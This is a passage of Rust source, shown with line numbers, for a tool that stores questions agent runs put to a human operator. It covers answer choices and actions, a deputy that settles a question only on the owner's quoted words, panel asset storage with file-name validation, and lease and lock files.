1use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43pub const SCHEMA: u32 = 13;
66
67const POLL: Duration = Duration::from_secs(3);
76
77const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
88
89const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
95
96const WAIT_SLICE: Duration = Duration::from_secs(240);
120
121pub const LEASE_TTL: Duration = Duration::from_secs(90);
131
132const LOCK_STALE: Duration = Duration::from_secs(10);
135
136pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
147
148pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
157
158const PANEL_DIR: &str = ".panel";
164
165const PANEL_HTML: &str = "index.html";
167
168const PANEL_TMP: &str = ".panel.tmp";
170
171pub fn valid_asset_name(name: &str) -> bool {
188 if name.is_empty() || name.len() > 64 || name.contains("..") {
189 return false;
190 }
191 let mut chars = name.chars();
192 chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
193 && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
194}
195
196#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
198#[serde(rename_all = "lowercase")]
199pub enum QuestionStatus {
200 Open,
202 Answered,
204 Abandoned,
208}
209
210impl QuestionStatus {
211 pub fn open(self) -> bool {
213 matches!(self, Self::Open)
214 }
215
216 pub fn as_str(self) -> &'static str {
218 match self {
219 Self::Open => "open",
220 Self::Answered => "answered",
221 Self::Abandoned => "abandoned",
222 }
223 }
224}
225
226#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
233#[serde(rename_all = "lowercase")]
234pub enum Answer {
235 Choice(String),
237 Text(String),
239}
240
241#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
249#[serde(tag = "do", rename_all = "lowercase")]
250pub enum ChoiceAction {
251 Resume {
253 run: String,
255 },
256 ResumeRun {
258 run: String,
260 },
261 ReleaseTask {
263 task: String,
265 held_at: jiff::Timestamp,
267 reason: Option<String>,
269 },
270 RerunChecks {
272 repo: PathBuf,
274 pr: String,
276 head: String,
278 runs: Vec<String>,
280 },
281 AbandonRun {
283 run: String,
285 },
286 Requeue,
288 Hold,
290 Done,
292}
293
294impl ChoiceAction {
295 pub fn targets(&self, task: &crate::queue::Task) -> bool {
297 match self {
298 Self::ReleaseTask { task: id, .. } => task.id == *id,
299 Self::ResumeRun { run } | Self::AbandonRun { run } | Self::Resume { run } => {
300 task.runs.contains(run)
301 }
302 _ => false,
303 }
304 }
305
306 pub fn maintenance(&self) -> bool {
308 matches!(
309 self,
310 Self::ResumeRun { .. }
311 | Self::ReleaseTask { .. }
312 | Self::RerunChecks { .. }
313 | Self::AbandonRun { .. }
314 )
315 }
316
317 pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
322 let split = spec
323 .find("={")
324 .map(|at| (&spec[..at], &spec[at + 1..]))
325 .or_else(|| spec.rsplit_once('='));
326 let Some((label, verb)) = split else {
327 bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|hold|done>`");
328 };
329 let label = label.trim();
330 if label.is_empty() {
331 bail!("`--action {spec}` names no choice before `=`");
332 }
333 let verb = verb.trim();
334 if verb.starts_with('{') {
335 let action = serde_json::from_str(verb).context("parse typed choice action")?;
336 return Ok((label.to_owned(), action));
337 }
338 let action = match verb.split_once(':') {
339 Some(("resumerun", run)) if !run.trim().is_empty() => Self::ResumeRun {
340 run: run.trim().into(),
341 },
342 Some(("abandonrun", run)) if !run.trim().is_empty() => Self::AbandonRun {
343 run: run.trim().into(),
344 },
345 Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
346 run: run.trim().to_owned(),
347 },
348 None if verb == "resume" => {
349 if default_run.is_empty() {
350 bail!("`--action {spec}` names no run and MAGI_RUN is not set");
351 }
352 Self::Resume {
353 run: default_run.to_owned(),
354 }
355 }
356 None if verb == "requeue" => Self::Requeue,
357 None if verb == "hold" => Self::Hold,
358 None if verb == "done" => Self::Done,
359 _ => bail!(
360 "unknown action `{verb}` in `--action {spec}`; \
361 use resume[:<run>], requeue, hold or done"
362 ),
363 };
364 Ok((label.to_owned(), action))
365 }
366
367 pub fn matches_alias(&self, input: &str) -> bool {
370 let input = input.trim();
371 match self {
372 Self::Resume { run } => {
373 [
374 "resume",
375 "resume run",
376 "resume-run",
377 "再開",
378 "実行再開",
379 "実行を再開",
380 "実行を再開する",
381 ]
382 .iter()
383 .any(|alias| input.eq_ignore_ascii_case(alias))
384 || [
385 format!("resume {run}"),
386 format!("resume:{run}"),
387 format!("resume run {run}"),
388 format!("resume {}", short(run)),
389 format!("resume run {}", short(run)),
390 ]
391 .iter()
392 .any(|alias| input.eq_ignore_ascii_case(alias))
393 }
394 Self::Hold => ["hold", "keep-held", "keep held", "保留"]
395 .iter()
396 .any(|alias| input.eq_ignore_ascii_case(alias)),
397 _ => false,
398 }
399 }
400
401 pub fn describe(&self) -> String {
403 match self {
404 Self::Resume { run } => format!("resume run {}", short(run)),
405 Self::ResumeRun { run } => format!("resume run {}", short(run)),
406 Self::ReleaseTask { task, .. } => format!("release held task {}", short(task)),
407 Self::RerunChecks { pr, .. } => format!("rerun failed checks of {pr} once"),
408 Self::AbandonRun { run } => format!("abandon proven stopped run {}", short(run)),
409 Self::Requeue => "requeue the task".to_owned(),
410 Self::Hold => "hold the task until the operator releases it".to_owned(),
411 Self::Done => "mark the task done".to_owned(),
412 }
413 }
414}
415
416pub fn parse_actions(
419 specs: &[String],
420 choices: &[String],
421 default_run: &str,
422) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
423 let mut out = std::collections::BTreeMap::new();
424 for spec in specs {
425 let (label, action) = ChoiceAction::parse(spec, default_run)?;
426 if !choices.contains(&label) {
427 bail!(
428 "`--action {spec}`: `{label}` is not one of the --choice values ({})",
429 choices.join(", ")
430 );
431 }
432 if out.insert(label.clone(), action).is_some() {
433 bail!("more than one --action for `{label}`");
434 }
435 }
436 Ok(out)
437}
438
439#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
450#[serde(rename_all = "lowercase")]
451pub enum Who {
452 Operator,
454 Agent,
457}
458
459#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
467#[serde(deny_unknown_fields)]
468pub struct Turn {
469 pub who: Who,
471 pub body: String,
473 pub at: Timestamp,
475 #[serde(default, skip_serializing_if = "Option::is_none")]
480 pub note: Option<String>,
481}
482
483#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
485#[serde(rename_all = "lowercase")]
486pub enum WaiterKind {
487 Asker,
489 Daemon,
492 Deputy,
496}
497
498#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
510pub struct Deputy {
511 pub brief: String,
514 #[serde(default)]
516 pub agent: String,
517 #[serde(default)]
519 pub seat: Option<crate::agent::SeatState>,
520 #[serde(default)]
523 pub starts: u32,
524}
525
526impl Deputy {
527 pub fn new(brief: String) -> Self {
529 Self {
530 brief,
531 agent: String::new(),
532 seat: None,
533 starts: 0,
534 }
535 }
536}
537
538pub fn deputy_seat_key(id: &str) -> String {
540 format!("deputy-{}", short(id))
541}
542
543#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
548pub struct Waiter {
549 pub kind: WaiterKind,
551 pub since: Timestamp,
553}
554
555#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
564pub struct Lease {
565 pub kind: WaiterKind,
567 pub pid: u32,
569 pub beat_at: Timestamp,
571}
572
573impl Lease {
574 pub fn fresh(&self, now: Timestamp) -> bool {
576 now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
577 }
578}
579
580#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
582#[serde(deny_unknown_fields)]
583pub struct Question {
584 pub schema: u32,
586 pub id: String,
589 pub run: String,
591 pub node: String,
593 pub seat: String,
596 pub summary: String,
599 pub detail: String,
602 #[serde(default, skip_serializing_if = "Option::is_none")]
604 pub posting_comparison: Option<crate::github_text::PostingComparison>,
605 pub choices: Vec<String>,
609 #[serde(default)]
611 pub merge_target: Option<crate::merge_decision::Target>,
612 #[serde(default)]
614 pub routed_task: Option<String>,
615 #[serde(default)]
617 pub routed_chat: Option<String>,
618 #[serde(default, skip_serializing_if = "Option::is_none")]
621 pub publication_title: Option<String>,
622 #[serde(default)]
626 pub actions: std::collections::BTreeMap<String, ChoiceAction>,
627 #[serde(default)]
634 pub panel: bool,
635 #[serde(default)]
642 pub assets: Vec<String>,
643 pub status: QuestionStatus,
645 pub asked_at: Timestamp,
647 #[serde(default)]
649 pub triage_generation: Option<u64>,
650 pub answered_at: Option<Timestamp>,
652 pub answer: Option<Answer>,
654 #[serde(default)]
663 pub thread: Vec<Turn>,
664 #[serde(default)]
679 pub answer_timeout: u64,
680 #[serde(default)]
686 pub cwd: Option<String>,
687 #[serde(default)]
689 pub waiter: Option<Waiter>,
690 #[serde(default)]
694 pub delivered_turns: usize,
695 #[serde(default)]
698 pub answer_delivered: bool,
699 #[serde(default)]
702 pub deputy: Option<Deputy>,
703 #[serde(default)]
707 pub consult: Option<ChatConsult>,
708 #[serde(default, skip_serializing_if = "Option::is_none")]
710 pub answer_authority: Option<crate::consult::AnswerAuthority>,
711 #[serde(default, skip_serializing_if = "Option::is_none")]
713 pub consult_outcome: Option<crate::consult::ConsultOutcome>,
714 #[serde(default)]
717 pub decision_context: Option<String>,
718}
719
720#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
722pub struct ChatConsult {
723 pub talk: String,
725 pub at: Timestamp,
727}
728
729impl Question {
730 pub fn run_names_task(&self) -> bool {
733 matches!(
734 self.node.as_str(),
735 crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
736 )
737 }
738
739 pub fn new(
742 run: String,
743 node: String,
744 seat: String,
745 summary: String,
746 detail: String,
747 choices: Vec<String>,
748 ) -> Self {
749 Self {
750 schema: SCHEMA,
751 id: new_id(),
752 run,
753 node,
754 seat,
755 summary,
756 detail,
757 posting_comparison: None,
758 choices,
759 merge_target: None,
760 routed_task: None,
761 routed_chat: None,
762 publication_title: None,
763 actions: std::collections::BTreeMap::new(),
764 panel: false,
765 assets: Vec::new(),
766 status: QuestionStatus::Open,
767 asked_at: Timestamp::now(),
768 triage_generation: None,
769 answered_at: None,
770 answer: None,
771 thread: Vec::new(),
772 answer_timeout: 0,
773 cwd: None,
774 waiter: None,
775 delivered_turns: 0,
776 answer_delivered: false,
777 deputy: None,
778 consult: None,
779 answer_authority: None,
780 consult_outcome: None,
781 decision_context: None,
782 }
783 }
784
785 pub fn short(&self) -> &str {
787 short(&self.id)
788 }
789
790 pub fn chosen_action(&self) -> Option<&ChoiceAction> {
793 match (&self.status, &self.answer) {
794 (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
795 _ => None,
796 }
797 }
798
799 pub fn free_text(&self) -> bool {
801 self.choices.is_empty()
802 }
803
804 pub fn resolve_reply<'a>(&'a self, reply: &'a str) -> Result<&'a str> {
807 if self.free_text() || self.choices.iter().any(|c| c == reply) {
808 return Ok(reply);
809 }
810 if ChoiceAction::Hold.matches_alias(reply)
811 && let Some(label) = self
812 .choices
813 .iter()
814 .find(|label| crate::triage::contextual_keep_held(self, label))
815 {
816 return Ok(label);
817 }
818 let matches: Vec<_> = self
819 .actions
820 .iter()
821 .filter(|(label, action)| self.choices.contains(label) && action.matches_alias(reply))
822 .collect();
823 match matches.as_slice() {
824 [(label, _)] => Ok(label.as_str()),
825 [] => bail!(
826 "alias mismatch: `{reply}` is not an offered label or supported action alias; inspect `magi answer --list`"
827 ),
828 _ => bail!(
829 "ambiguous action alias: `{reply}` matches multiple choices; select the intended offered label"
830 ),
831 }
832 }
833
834 pub fn answer(&mut self, answer: Answer) -> Result<()> {
844 self.answer_inner(answer)
845 }
846
847 pub(crate) fn answer_chat_button(
849 &mut self,
850 answer: Answer,
851 talk: &str,
852 head: &str,
853 ) -> Result<()> {
854 anyhow::ensure!(
855 self.routed_chat.as_deref() == Some(talk),
856 "wrong approval chat"
857 );
858 anyhow::ensure!(
859 self.merge_target.as_ref().is_some_and(|t| t.head == head),
860 "stale approval head"
861 );
862 self.answer_inner(answer)
863 }
864
865 fn answer_inner(&mut self, answer: Answer) -> Result<()> {
866 match self.status {
867 QuestionStatus::Answered => bail!(
868 "question {} was already answered; the run has moved on and a \
869 second answer would be a decision nobody acted on",
870 self.short()
871 ),
872 QuestionStatus::Abandoned => bail!(
873 "question {} was abandoned and the run behind it is gone",
874 self.short()
875 ),
876 QuestionStatus::Open => {}
877 }
878 let body = match &answer {
879 Answer::Choice(c) | Answer::Text(c) => c.as_str(),
880 };
881 if body.trim().is_empty() {
882 bail!(
883 "question {} needs an answer; an empty one tells the agent \
884 nothing and it would guess anyway",
885 self.short()
886 );
887 }
888 match &answer {
889 Answer::Choice(c) if self.free_text() => bail!(
890 "question {} asks for free text, so `{c}` cannot be a choice \
891 it offered",
892 self.short()
893 ),
894 Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
895 "`{c}` is not one of the choices question {} offers: {}",
896 self.short(),
897 self.choices.join(", ")
898 ),
899 Answer::Text(_) if !self.free_text() => bail!(
900 "question {} is multiple choice; answer with one of: {}",
901 self.short(),
902 self.choices.join(", ")
903 ),
904 _ => {}
905 }
906 if body.eq_ignore_ascii_case(crate::land::HOLD) && self.actions.contains_key(body) {
907 bail!("hold cannot execute a question action");
908 }
909 self.answered_at = Some(Timestamp::now());
910 self.answer = Some(answer);
911 self.status = QuestionStatus::Answered;
912 Ok(())
913 }
914
915 pub fn abandon(&mut self, why: impl Into<String>) {
927 if !self.status.open() {
928 return;
929 }
930 self.status = QuestionStatus::Abandoned;
931 let why = why.into();
932 let why = why.trim();
933 if why.is_empty() {
934 return;
935 }
936 if !self.detail.is_empty() {
937 self.detail.push('\n');
938 }
939 self.detail.push_str("\n_Abandoned: ");
940 self.detail.push_str(why);
941 self.detail.push_str("._\n");
942 }
943
944 pub fn resolution(&self) -> Option<String> {
951 match (self.status, &self.answer) {
952 (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
953 Some(a.clone())
954 }
955 _ => None,
956 }
957 }
958
959 pub fn settle_by_deputy(
970 &mut self,
971 seat: &str,
972 label: &str,
973 quote: &str,
974 note: Option<&str>,
975 ) -> Result<()> {
976 if self.routed_task.is_some() {
977 bail!("task decisions are handled by the task chat, not a deputy");
978 }
979 let Some(deputy) = &self.deputy else {
980 bail!("question {} has no deputy", self.short());
981 };
982 let own = deputy.seat.as_ref().map(|s| s.key.as_str());
983 if own != Some(seat) {
984 bail!("only the deputy of question {} may settle it", self.short());
985 }
986 if !self.choices.iter().any(|c| c == label) {
987 bail!(
988 "`{label}` is not one of the choices offered on question {}",
989 self.short()
990 );
991 }
992 let quote = quote.trim();
993 if quote.is_empty()
994 || !self
995 .thread
996 .iter()
997 .any(|t| t.who == Who::Operator && t.body.contains(quote))
998 {
999 bail!(
1000 "the quote is not something the owner said on question {}",
1001 self.short()
1002 );
1003 }
1004 let latest = self
1007 .thread
1008 .iter()
1009 .rev()
1010 .find(|t| t.who == Who::Operator)
1011 .map(|t| {
1012 if self.node == crate::github_text::ASK_NODE && !crate::deputy::merge_gated(self) {
1013 t.body.as_str()
1014 } else {
1015 t.body.trim()
1016 }
1017 });
1018 if let Some(message) = latest {
1019 crate::consult::validate_batch_effect(self, label, message, quote)?;
1020 }
1021 if self.node == crate::github_text::ASK_NODE && label == crate::github_text::USE_MY_TEXT {
1022 let message = latest.context("use my text requires a current owner instruction with the literal replacement title")?;
1023 crate::consult::validate_effect(self, label, message, quote, true)?;
1024 } else if crate::deputy::merge_gated(self) {
1025 let ok = if label == crate::land::APPROVE {
1031 latest.is_some_and(|m| match &self.merge_target {
1032 Some(target) => m == format!("merge {}", target.head) && quote == m,
1033 None => m.contains(quote),
1034 })
1035 } else {
1036 latest.is_some_and(|m| crate::merge_decision::exact_owner_choice(label, m, quote))
1037 };
1038 if !ok {
1039 bail!(
1040 "on a merge approval `{label}` settles it only when the quote is a \
1041 verbatim part of the owner's latest message ({}); if the wording is \
1042 doubtful, ask what they mean with `--thread` instead",
1043 if label == crate::land::HOLD {
1044 "for `hold`, the whole message"
1045 } else {
1046 "the quote must be the instruction itself"
1047 }
1048 );
1049 }
1050 } else if self.node == crate::github_text::ASK_NODE
1051 && crate::deputy::destructive(self, label)
1052 {
1053 if !latest.is_some_and(|m| crate::github_text::posting_authorized(m, quote, label)) {
1054 bail!(
1055 "posting confirmation requires an explicit, unconditional instruction for the chosen text quoted verbatim from the latest owner message"
1056 );
1057 }
1058 } else if crate::deputy::destructive(self, label)
1059 && !latest.is_some_and(|m| crate::land::unhedged(m, quote))
1060 {
1061 bail!(
1062 "`{label}` cannot be undone; it settles question {} only when the owner's \
1063 latest message clearly says so, unhedged and quoted verbatim (no maybe / if \
1064 / not / question); ask what they mean with `--thread` instead",
1065 self.short()
1066 );
1067 }
1068 self.thread.push(Turn {
1069 who: Who::Agent,
1070 body: format!("Settled as `{label}` on the owner's words: \"{quote}\""),
1071 at: Timestamp::now(),
1072 note: note
1073 .map(str::trim)
1074 .filter(|n| !n.is_empty())
1075 .map(str::to_owned),
1076 });
1077 self.delivered_turns = self.thread.len();
1078 self.answer(Answer::Choice(label.to_owned()))
1079 }
1080
1081 pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
1092 match self.status {
1093 QuestionStatus::Answered => bail!(
1094 "question {} was already answered; there is nothing left to \
1095 discuss",
1096 self.short()
1097 ),
1098 QuestionStatus::Abandoned => bail!(
1099 "question {} was abandoned and the run behind it is gone",
1100 self.short()
1101 ),
1102 QuestionStatus::Open => {}
1103 }
1104 let body = body.into();
1105 if body.trim().is_empty() {
1106 bail!("a message to question {} cannot be empty", self.short());
1107 }
1108 self.thread.push(Turn {
1109 who: Who::Operator,
1110 body,
1111 at: Timestamp::now(),
1112 note: None,
1113 });
1114 Ok(())
1115 }
1116
1117 pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
1127 match self.status {
1128 QuestionStatus::Answered => bail!(
1129 "question {} was already answered; replying now would not \
1130 reach anyone",
1131 self.short()
1132 ),
1133 QuestionStatus::Abandoned => bail!(
1134 "question {} was abandoned and the run behind it is gone",
1135 self.short()
1136 ),
1137 QuestionStatus::Open => {}
1138 }
1139 let body = body.into();
1140 if body.trim().is_empty() {
1141 bail!("a reply to question {} cannot be empty", self.short());
1142 }
1143 self.actions.retain(|label, _| choices.contains(label));
1145 self.choices = choices;
1146 let unread = self.unread_from_owner().is_some();
1147 self.thread.push(Turn {
1148 who: Who::Agent,
1149 body,
1150 at: Timestamp::now(),
1151 note: None,
1152 });
1153 if !unread {
1157 self.delivered_turns = self.thread.len();
1158 }
1159 Ok(())
1160 }
1161
1162 pub fn unread_from_owner(&self) -> Option<String> {
1169 if !self.status.open() {
1170 return None;
1171 }
1172 let said = self.undelivered_owner_turns();
1173 (!said.is_empty()).then(|| said.join("\n\n"))
1174 }
1175
1176 pub fn undelivered_owner_turns(&self) -> Vec<&str> {
1182 let from = self.delivered_turns.min(self.thread.len());
1183 self.thread[from..]
1184 .iter()
1185 .filter(|t| t.who == Who::Operator)
1186 .map(|t| t.body.as_str())
1187 .collect()
1188 }
1189
1190 pub fn last_activity(&self) -> i64 {
1194 self.thread
1195 .iter()
1196 .map(|t| t.at.as_second())
1197 .max()
1198 .unwrap_or(0)
1199 .max(self.asked_at.as_second())
1200 }
1201
1202 pub fn waiting_on_agent(&self) -> bool {
1211 self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1212 }
1213
1214 fn should_notify(&self, now: Timestamp) -> bool {
1222 let Some(last) = self
1223 .thread
1224 .iter()
1225 .rev()
1226 .find(|t| t.who == Who::Operator)
1227 .map(|t| t.at)
1228 else {
1229 return true;
1230 };
1231 now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1232 }
1233}
1234
1235#[derive(Debug, Clone)]
1237pub struct Questions {
1238 root: PathBuf,
1239}
1240
1241impl Questions {
1242 pub fn open() -> Self {
1244 Self::at(crate::run::home().join("questions"))
1245 }
1246
1247 pub fn at(root: PathBuf) -> Self {
1250 Self { root }
1251 }
1252
1253 pub fn root(&self) -> &Path {
1255 &self.root
1256 }
1257
1258 pub fn path_of(&self, id: &str) -> PathBuf {
1260 self.root.join(format!("{id}.json"))
1261 }
1262
1263 pub fn panel_dir(&self, id: &str) -> PathBuf {
1265 self.root.join(format!("{id}{PANEL_DIR}"))
1266 }
1267
1268 pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1292 if !valid_asset_name(&q.id) {
1293 bail!(
1294 "question id `{}` is not a name magi will build a panel path from",
1295 q.id
1296 );
1297 }
1298 if html.trim().is_empty() {
1299 bail!(
1300 "question {} was handed an empty panel; an empty frame reads to \
1301 the owner as \"the agent had nothing to say\", which is a lie",
1302 q.short()
1303 );
1304 }
1305
1306 let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1309 for src in assets {
1310 let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1311 if !valid_asset_name(name) {
1312 bail!(
1313 "panel asset `{}` cannot be stored: a panel file name must \
1314 match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1315 src.display()
1316 );
1317 }
1318 if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1319 bail!(
1320 "two panel assets are both named `{name}` - {} and {} - and \
1321 the panel can only show one of them; rename one at the source",
1322 first.display(),
1323 src.display()
1324 );
1325 }
1326 named.push((name.to_owned(), src.as_path()));
1327 }
1328
1329 let mut total = html.len() as u64;
1330 for (_, src) in &named {
1331 let meta = std::fs::metadata(src)
1332 .with_context(|| format!("stat panel asset {}", src.display()))?;
1333 if !meta.is_file() {
1334 bail!(
1335 "panel asset `{}` is not a file; a panel is html plus files \
1336 copied beside it",
1337 src.display()
1338 );
1339 }
1340 total = total.saturating_add(meta.len());
1341 }
1342 if total > PANEL_MAX_BYTES {
1343 bail!(
1344 "panel for question {} is {total} bytes, over magi's cap of \
1345 {PANEL_MAX_BYTES} bytes; nothing was written",
1346 q.short()
1347 );
1348 }
1349
1350 let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1351 let dir = self.panel_dir(&q.id);
1352 std::fs::create_dir_all(&self.root)
1353 .with_context(|| format!("create {}", self.root.display()))?;
1354 clear_dir(&tmp)?;
1355 std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1356 if let Err(e) = fill_panel(&tmp, html, &named) {
1357 let _ = std::fs::remove_dir_all(&tmp);
1360 return Err(e);
1361 }
1362 clear_dir(&dir)?;
1363 std::fs::rename(&tmp, &dir)
1364 .with_context(|| format!("move panel into {}", dir.display()))?;
1365
1366 q.panel = true;
1367 q.assets = named.into_iter().map(|(n, _)| n).collect();
1368 q.assets.sort_unstable();
1369 Ok(())
1370 }
1371
1372 pub fn panel_html(&self, id: &str) -> Option<String> {
1378 if !valid_asset_name(id) {
1379 return None;
1380 }
1381 std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1382 }
1383
1384 pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1395 if !valid_asset_name(name) {
1396 bail!(
1397 "`{name}` is not a panel file name; it must match \
1398 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1399 );
1400 }
1401 if !valid_asset_name(id) {
1402 return Ok(None);
1403 }
1404 let dir = self.panel_dir(id);
1405 if !dir.is_dir() {
1406 return Ok(None);
1407 }
1408 let path = dir.join(name);
1409 match std::fs::read(&path) {
1410 Ok(bytes) => Ok(Some(bytes)),
1411 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1412 Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1413 }
1414 }
1415
1416 pub fn drop_panel(&self, id: &str) -> Result<()> {
1425 if !valid_asset_name(id) {
1426 bail!("question id `{id}` is not a name magi will build a panel path from");
1427 }
1428 clear_dir(&self.panel_dir(id))?;
1429 clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1430 }
1431
1432 pub fn lease_path(&self, id: &str) -> PathBuf {
1434 self.root.join(format!("{id}.lease"))
1435 }
1436
1437 pub fn read_lease(&self, id: &str) -> Option<Lease> {
1439 let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1440 serde_json::from_str(&body).ok()
1441 }
1442
1443 pub fn beat(&self, id: &str, kind: WaiterKind) {
1450 let lease = Lease {
1451 kind,
1452 pid: std::process::id(),
1453 beat_at: Timestamp::now(),
1454 };
1455 let path = self.lease_path(id);
1456 let tmp = path.with_extension("lease.tmp");
1457 let written = std::fs::create_dir_all(&self.root)
1458 .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1459 .and_then(|()| std::fs::rename(&tmp, &path));
1460 if let Err(e) = written {
1461 tracing::debug!("could not beat the lease on question {id}: {e}");
1462 }
1463 }
1464
1465 pub fn drop_lease(&self, id: &str) {
1467 let _ = std::fs::remove_file(self.lease_path(id));
1468 }
1469
1470 pub fn update<T>(
1481 &self,
1482 id: &str,
1483 f: impl FnOnce(&mut Question) -> Result<T>,
1484 ) -> Result<(Question, T)> {
1485 std::fs::create_dir_all(&self.root)
1486 .with_context(|| format!("create {}", self.root.display()))?;
1487 let lock = self.root.join(format!("{id}.lock"));
1488 let started = std::time::Instant::now();
1489 let retry = crate::lock_file::Retry::new(Some(started + LOCK_STALE));
1490 loop {
1491 match retry.create(&lock) {
1492 Ok(_) => break,
1493 Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1494 let stale = std::fs::metadata(&lock)
1495 .and_then(|m| m.modified())
1496 .ok()
1497 .and_then(|t| t.elapsed().ok())
1498 .is_some_and(|age| age > LOCK_STALE);
1499 if stale {
1500 let _ = std::fs::remove_file(&lock);
1501 } else if started.elapsed() > LOCK_STALE {
1502 bail!("could not lock question {id}");
1503 } else {
1504 std::thread::sleep(Duration::from_millis(15));
1505 }
1506 }
1507 Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1508 }
1509 }
1510 struct Unlock(PathBuf);
1511 impl Drop for Unlock {
1512 fn drop(&mut self) {
1513 let _ = std::fs::remove_file(&self.0);
1514 }
1515 }
1516 let _guard = Unlock(lock);
1517 let mut q = read_path(&self.path_of(id))?;
1518 let was_dismissed = q.resolution().as_deref() == Some(crate::merge_decision::DISMISS);
1519 let out = f(&mut q)?;
1520 if !was_dismissed && q.resolution().as_deref() == Some(crate::merge_decision::DISMISS) {
1521 let home = self.root.parent().context("question store has no home")?;
1522 crate::merge_decision::dismiss(home, &q)?;
1523 }
1524 self.put(&mut q)?;
1525 Ok((q, out))
1526 }
1527
1528 pub fn put_executable(&self, q: &mut Question) -> Result<()> {
1531 anyhow::ensure!(
1532 q.actions.keys().all(|c| q.choices.contains(c)),
1533 "question action names an unoffered choice"
1534 );
1535 for label in &q.choices {
1536 anyhow::ensure!(
1537 crate::choice_effect::describe(q, label).is_some(),
1538 "question node {} offers an unsupported choice: {label}",
1539 q.node
1540 );
1541 }
1542 self.put(q)
1543 }
1544
1545 pub fn put(&self, q: &mut Question) -> Result<()> {
1549 if q.status.open()
1550 && q.routed_task.is_none()
1551 && let Some(home) = self.root.parent()
1552 {
1553 let tasks = crate::queue::Queue::at(home.join("queue")).list();
1554 q.routed_task = crate::task_chat::task_of(q, &tasks).filter(|id| {
1555 crate::task_chat::chat_routable(q) && crate::task_chat::enabled_for(&tasks, id)
1556 });
1557 }
1558 std::fs::create_dir_all(&self.root)
1559 .with_context(|| format!("create {}", self.root.display()))?;
1560 let body = serde_json::to_string_pretty(q).context("serialize question")?;
1561 let path = self.path_of(&q.id);
1562 let tmp = path.with_extension("json.tmp");
1563 let is_new = !path.exists();
1564 std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1565 std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1566 if is_new
1569 && q.status.open()
1570 && q.node != crate::bump::NOTICE_NODE
1571 && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1572 {
1573 crate::notices::quiet_for(home, q);
1574 }
1575 Ok(())
1576 }
1577
1578 pub fn get(&self, id: &str) -> Result<Question> {
1580 let resolved = self.resolve_id(id)?;
1581 let q = read_path(&self.path_of(&resolved))?;
1582 Ok(self.with_repair_choice(q))
1583 }
1584
1585 fn with_repair_choice(&self, mut q: Question) -> Question {
1586 if q.status.open()
1589 && q.merge_target.is_none()
1590 && let Some(home) = self.root.parent()
1591 && let Some(target) = crate::release_watch::approval_target(home, &q)
1592 && let Ok((current, ())) = self.update(&q.id, |current| {
1593 if current.status.open() && current.merge_target.is_none() {
1594 current.merge_target = Some(target.clone());
1595 }
1596 Ok(())
1597 })
1598 {
1599 q = current;
1600 }
1601 if q.status.open()
1606 && q.routed_task.is_some()
1607 && !crate::task_chat::chat_routable(&q)
1608 && let Ok((current, ())) =
1609 self.update(&q.id, |current| {
1610 if current.status.open() && !crate::task_chat::chat_routable(current) {
1611 if current.consult.as_ref().is_some_and(|c| {
1612 current.routed_chat.as_deref() == Some(c.talk.as_str())
1613 }) {
1614 current.consult = None;
1615 }
1616 current.routed_task = None;
1617 current.routed_chat = None;
1618 }
1619 Ok(())
1620 })
